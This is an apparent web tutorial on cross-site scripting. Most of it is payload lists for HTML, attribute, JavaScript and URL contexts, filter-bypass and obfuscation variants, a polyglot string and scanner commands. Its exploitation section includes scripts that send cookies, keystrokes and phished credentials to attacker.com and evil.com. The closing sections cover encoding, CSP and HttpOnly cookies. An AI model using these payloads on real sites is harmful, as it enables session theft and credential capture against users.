Skip to Content
Cross-site scripting vulnerability exploitation

Cross-Site Scripting (XSS): Attack and Defense

Reflected, stored and DOM-based XSS, with payloads for each injection context, filter bypasses, detection and fixes.

Dec 23, 2025
Updated Nov 22, 2026
7 min read

Introduction

Cross-site scripting (XSS) is script injection into a page that other users load. The victim's browser runs the attacker's JavaScript with the origin of the vulnerable site, so the script can read what that user can read and send requests as them. In practice that means session theft, credential capture and actions on the user's behalf.

It is still everywhere because applications keep writing user input into HTML without encoding it for the context it lands in, and single-page frameworks have added a lot of client-side code that does the same thing in the DOM.

Types of XSS

Reflected XSS

The payload travels in the request and comes straight back in the response. The victim has to load a crafted link.

<!-- Vulnerable endpoint: /search?q=USER_INPUT -->
<!-- URL: /search?q=<script>alert('XSS')</script> -->

<!-- Response includes: -->
<p>Search results for: <script>alert('XSS')</script></p>

Stored XSS

The payload is saved on the server (a comment, a profile field, a support ticket) and served to everyone who views that page.

<!-- Attacker submits comment: -->
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

<!-- All users viewing comments execute the script -->

DOM-Based XSS

The bug sits in client-side JavaScript that reads attacker-controlled input and writes it to a dangerous sink. The payload may never reach the server at all.

// Vulnerable code
document.getElementById('output').innerHTML = location.hash.substring(1);

// URL: page.html#<img src=x onerror=alert('XSS')>

XSS contexts and payloads

HTML context

<!-- Basic payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">

<!-- Without parentheses -->
<img src=x onerror=alert`XSS`>
<svg onload=alert&lpar;'XSS'&rpar;>

<!-- Event handlers -->
<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>

Attribute context

<!-- Breaking out of attributes -->
" onclick="alert('XSS')
" onfocus="alert('XSS')" autofocus="
'><script>alert('XSS')</script>

<!-- JavaScript URLs in href/src -->
<a href="javascript:alert('XSS')">Click</a>
<iframe src="javascript:alert('XSS')">

<!-- Data URLs -->
<a href="data:text/html,<script>alert('XSS')</script>">Click</a>

JavaScript context

// Breaking out of strings
'; alert('XSS');//
"; alert('XSS');//
</script><script>alert('XSS')</script>

// Template literals
${alert('XSS')}
`; alert('XSS');//

// Inside JSON
{"name":"value\u0022,\u0022inject\u0022:\u0022<script>alert(1)</script>"}

URL context

<!-- URL parameter injection -->
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
//evil.com/exploit.js

Filter bypass techniques

Case variation

<ScRiPt>alert('XSS')</ScRiPt>
<IMG SRC=x OnErRoR=alert('XSS')>

Encoding bypasses

<!-- HTML entities -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;('XSS')>

<!-- Hex encoding -->
<img src=x onerror=\x61\x6c\x65\x72\x74('XSS')>

<!-- Unicode -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('XSS')>

<!-- Base64 in data URLs -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click</a>

Alternative tags

<!-- Without script tag -->
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body/onload=alert('XSS')>
<video><source onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>

Obfuscation

<!-- Spaces and newlines -->
<img src=x
onerror
=alert('XSS')>

<!-- Tab characters -->
<img	src=x	onerror=alert('XSS')>

<!-- Comments -->
<script>/**/alert('XSS')/**/</script>

<!-- Constructor abuse -->
<img src=x onerror=alert.constructor('alert(1)')()>
<img src=x onerror=[].constructor.constructor('alert(1)')()>

Bypassing specific filters

<!-- No parentheses -->
<img src=x onerror=alert`XSS`>
<img src=x onerror=window.onerror=alert;throw'XSS'>

<!-- No alert -->
<img src=x onerror=confirm('XSS')>
<img src=x onerror=prompt('XSS')>
<img src=x onerror=eval('al'+'ert(1)')>

<!-- No quotes -->
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<img src=x onerror=alert(/XSS/.source)>

<!-- No spaces -->
<svg/onload=alert('XSS')>
<img/src=x/onerror=alert('XSS')>

Advanced exploitation

Session hijacking

// Cookie stealing
<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>

// Using image
<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie">

Keylogging

<script>
document.onkeypress = function(e) {
  fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Phishing

<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>

DOM manipulation

// Change form action
<script>document.forms[0].action = 'https://attacker.com/capture';</script>

// Inject fake content
<script>
document.getElementById('balance').innerHTML = '$0.00';
document.getElementById('transfer').href = 'https://attacker.com/fake';
</script>

Exploiting modern frameworks

// Angular template injection
{{constructor.constructor('alert(1)')()}}

// Vue.js
{{_c.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML abuse (if user-controlled)

DOM XSS sources and sinks

Dangerous sources

// URL-based
location.href
location.hash
location.search
document.URL
document.documentURI
document.referrer

// Storage
localStorage.getItem()
sessionStorage.getItem()

// User input
document.getElementById('input').value
window.name

Dangerous sinks

// Direct execution
eval()
setTimeout()
setInterval()
Function()

// HTML manipulation
element.innerHTML
element.outerHTML
document.write()
document.writeln()

// URL sinks
location.href
location.assign()
location.replace()

Detection methodology

Manual testing

  1. Identify input reflection points
  2. Test with basic payloads: <script>alert(1)</script>
  3. Analyze response encoding/filtering
  4. Adapt payloads to bypass filters
  5. Confirm execution in browser

Polyglot payloads

One payload that fires in several contexts at once:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Automated tools

# XSStrike
python xsstrike.py -u "http://target.com/page?q=test"

# Dalfox
dalfox url "http://target.com/page?q=test"

# Using Burp Suite
# Intruder with XSS payloads wordlist

Impact assessment

ScenarioImpact
Session hijackingAccount takeover
Credential theftData breach
Malware distributionSystem compromise
DefacementReputation damage
Internal network scanningReconnaissance
CryptominingResource abuse

Remediation

Output encoding

// Context-specific encoding
function htmlEncode(str) {
  return str.replace(/[&<>"']/g, function(match) {
    return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[match];
  });
}

// Use framework encoding
// React: automatically escapes in JSX
// Angular: uses DomSanitizer
// Vue: uses v-text or {{ }}

Content Security Policy

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

HttpOnly cookies

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Input validation

Validation is a second layer, not the fix. Allowlist the characters a field needs, cap its length and parse typed values (numbers, dates, IDs) as those types.

References

MITRE ATT&CK techniques

CWE entries

OWASP resources

Tools documentation

On this page